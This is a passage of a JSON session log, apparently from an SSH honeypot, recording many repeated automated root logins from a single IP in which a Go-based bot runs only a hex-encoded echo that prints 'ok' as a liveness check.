  "started_at": "2026-08-23T09:25:48.041558+00:00",
  "ended_at": "2026-08-23T09:25:50.008566+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb3dac98-38e5-48fd-b41b-c7fc6e3dd56a",
  "name": "bold-rapid-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:45.815103+00:00",
  "ended_at": "2026-08-23T09:25:47.228537+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b6488a4-27b3-48b0-bc64-7e478dae54e0",
  "name": "mottled-mindful-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:43.655930+00:00",
  "ended_at": "2026-08-23T09:25:45.006331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e87144e-4035-4949-af5d-d9d69c5c365d",
  "name": "quartz-gritty-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:41.486709+00:00",
  "ended_at": "2026-08-23T09:25:42.839269+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e2e6349-6d80-49b1-972f-929b274640a5",
  "name": "woven-weathered-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:39.711683+00:00",
  "ended_at": "2026-08-23T09:25:40.763858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "41465895-9756-4fa1-8790-34481ad8282a",
  "name": "primal-gallant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:36.812287+00:00",
  "ended_at": "2026-08-23T09:25:39.001526+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0860fd0c-492e-4288-962e-7d87f111ef81",
  "name": "hazy-lonesome-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:34.395449+00:00",
  "ended_at": "2026-08-23T09:25:35.988849+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ef50782-de53-4125-a3c2-05f26764230d",
  "name": "dapper-ancient-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:31.917918+00:00",
  "ended_at": "2026-08-23T09:25:33.599061+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff317d05-7793-4c7b-9b01-cbef2149655c",
  "name": "plush-bronzed-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:29.517666+00:00",
  "ended_at": "2026-08-23T09:25:31.162874+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67e0a853-b147-492c-86dc-f97e28561083",
  "name": "mighty-chilly-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:26.579889+00:00",
  "ended_at": "2026-08-23T09:25:28.764159+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6efda408-819a-48d7-9e17-3dd1acd8edf5",
  "name": "umber-keen-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:24.636486+00:00",
  "ended_at": "2026-08-23T09:25:25.974153+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e679046-2099-45f7-974a-5baeefa8112c",
  "name": "jagged-cobalt-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:21.912353+00:00",
  "ended_at": "2026-08-23T09:25:23.855162+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "118661f3-5f39-419a-9dba-c9b765d6c803",
  "name": "courtly-golden-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:20.031325+00:00",
  "ended_at": "2026-08-23T09:25:21.246465+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a315cebe-c513-4f9c-9e97-9aac99c8653d",
  "name": "brisk-western-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:18.284921+00:00",
  "ended_at": "2026-08-23T09:25:19.241793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "93e3d138-23d7-416b-912c-f68dd8ea983f",
  "name": "nimble-jaunty-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:15.250658+00:00",
  "ended_at": "2026-08-23T09:25:17.484457+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd249ef0-e8eb-4771-bbfe-5efe6092665e",
  "name": "solemn-vernal-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:13.699319+00:00",
  "ended_at": "2026-08-23T09:25:14.597092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24b9f481-1be7-4cf9-8213-1f16933b18e5",
  "name": "feral-courtly-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:11.855922+00:00",
  "ended_at": "2026-08-23T09:25:12.948836+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e5b2a8d-be47-497c-971f-30aac5685042",
  "name": "patient-crisp-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:09.554291+00:00",
  "ended_at": "2026-08-23T09:25:11.177855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b7f5bb94-832c-4803-8327-6e464d95b0f3",
  "name": "graceful-quiet-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50754,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:06.615847+00:00",
  "ended_at": "2026-08-23T09:25:08.720966+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f692561-f321-452f-b446-b73942f8f283",
  "name": "mossy-placid-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50740,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:03.531883+00:00",
  "ended_at": "2026-08-23T09:25:05.790215+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c49564e2-8555-4397-92dc-10b08740390c",
  "name": "coral-courtly-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:01.304255+00:00",
  "ended_at": "2026-08-23T09:25:02.784098+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "131e127f-6ce4-4eed-a596-1aaa87939478",
  "name": "amber-ashen-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:59.533620+00:00",
  "ended_at": "2026-08-23T09:25:00.468910+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "42d4814a-558d-418b-9304-d7d93e243843",
  "name": "hearty-zealous-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:57.381830+00:00",
  "ended_at": "2026-08-23T09:24:58.716558+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66f8e7ef-5dc9-420c-9af8-6dda3e61e6f0",
  "name": "vernal-gloomy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:54.775169+00:00",
  "ended_at": "2026-08-23T09:24:56.665874+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d44f7bc3-be93-408e-970b-ea5c358bbbc2",
  "name": "arctic-quartz-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:52.350541+00:00",
  "ended_at": "2026-08-23T09:24:54.116721+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1bde8996-2877-4379-93f4-5382e4d7d7cd",
  "name": "curious-fierce-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55434,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:50.205364+00:00",
  "ended_at": "2026-08-23T09:24:51.605236+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d3f84f3-85bd-41f5-9906-6c96be6aed8e",
  "name": "hazy-hearty-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:47.602685+00:00",
  "ended_at": "2026-08-23T09:24:49.494888+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "57838de5-15aa-40d7-9848-c2d58f788dde",
  "name": "obsidian-buoyant-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:45.670353+00:00",
  "ended_at": "2026-08-23T09:24:46.941836+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "379ac055-714c-4c81-af38-a14c7bb34a3b",
  "name": "vernal-watchful-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:43.675963+00:00",
  "ended_at": "2026-08-23T09:24:44.893198+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03f41db9-aacc-4556-99ec-40a95ff04d78",
  "name": "earnest-frosty-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:41.724174+00:00",
  "ended_at": "2026-08-23T09:24:42.949947+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f987005-9bcf-4689-9232-e6c97b4e5ffb",
  "name": "alpine-faded-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:39.285800+00:00",
  "ended_at": "2026-08-23T09:24:41.014130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25536aab-f829-4441-9b47-53dc764a8f34",
  "name": "lunar-hushed-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:36.367859+00:00",
  "ended_at": "2026-08-23T09:24:38.456271+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "18633ab8-2d72-43a7-ba06-7424e8f135a7",
  "name": "verdant-frank-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:34.438796+00:00",
  "ended_at": "2026-08-23T09:24:35.555052+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29a48d05-d9d3-4ec7-baf4-7c33818e0f21",
  "name": "frugal-mighty-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:32.238545+00:00",
  "ended_at": "2026-08-23T09:24:33.625885+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1abd09ca-5e4c-4ca7-989f-02f7c9b64132",
  "name": "early-cheerful-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:29.901761+00:00",
  "ended_at": "2026-08-23T09:24:31.504963+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43e0875e-958c-4a60-acf4-f4e3ac16f6e2",
  "name": "mellow-dappled-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:27.107643+00:00",
  "ended_at": "2026-08-23T09:24:29.100837+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64751445-f17a-465a-b82f-7b0bf2efb387",
  "name": "chilly-obsidian-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:20.771136+00:00",
  "ended_at": "2026-08-23T09:24:26.286416+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3d93916-e364-4695-a697-884272193098",
  "name": "forlorn-woven-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:18.484370+00:00",
  "ended_at": "2026-08-23T09:24:19.969020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "af3f735d-40b3-421a-a68c-cc8eb645c981",
  "name": "wiry-curious-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:16.405897+00:00",
  "ended_at": "2026-08-23T09:24:17.824853+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cabecca4-217f-47c6-9bac-4866d4b960d8",
  "name": "zealous-smooth-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:14.154943+00:00",
  "ended_at": "2026-08-23T09:24:15.722153+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b7b1356-5395-4c3b-8d9c-10008c93d703",
  "name": "earnest-proud-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:11.969155+00:00",
  "ended_at": "2026-08-23T09:24:13.415039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "47d51c03-6a73-437a-a374-ec8a4791f429",
  "name": "knotted-early-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:09.658393+00:00",
  "ended_at": "2026-08-23T09:24:11.199901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4fc1ac1-a379-46f5-9d72-601fbf662219",
  "name": "knotted-rapid-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:07.816178+00:00",
  "ended_at": "2026-08-23T09:24:08.826779+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab23b584-dcf7-46ec-8b61-eb515a8df497",
  "name": "cobalt-loyal-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:05.021288+00:00",
  "ended_at": "2026-08-23T09:24:07.136876+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f33bbb3-338b-4a87-bc6d-a695286ccd40",
  "name": "indigo-tidal-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:24:02.319253+00:00",
  "ended_at": "2026-08-23T09:24:04.267055+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c6778f4-8962-4ef6-a6ad-86ba4480d298",
  "name": "tawny-somber-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:59.248377+00:00",
  "ended_at": "2026-08-23T09:24:01.495153+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8740266-598f-4647-be89-eb1ad28370b3",
  "name": "calm-hazy-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:57.035124+00:00",
  "ended_at": "2026-08-23T09:23:58.469003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b422df98-a16c-4c68-a35f-d8bd3d5c0388",
  "name": "thawing-diligent-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:54.910503+00:00",
  "ended_at": "2026-08-23T09:23:56.379126+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c97f9c6-9ddb-4369-949a-2b242fda0aad",
  "name": "proud-hazel-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:51.998186+00:00",
  "ended_at": "2026-08-23T09:23:54.077013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b66001fb-e9a6-4ef4-9ee2-e5ebe91822ef",
  "name": "pristine-tawny-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:50.084046+00:00",
  "ended_at": "2026-08-23T09:23:51.189220+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
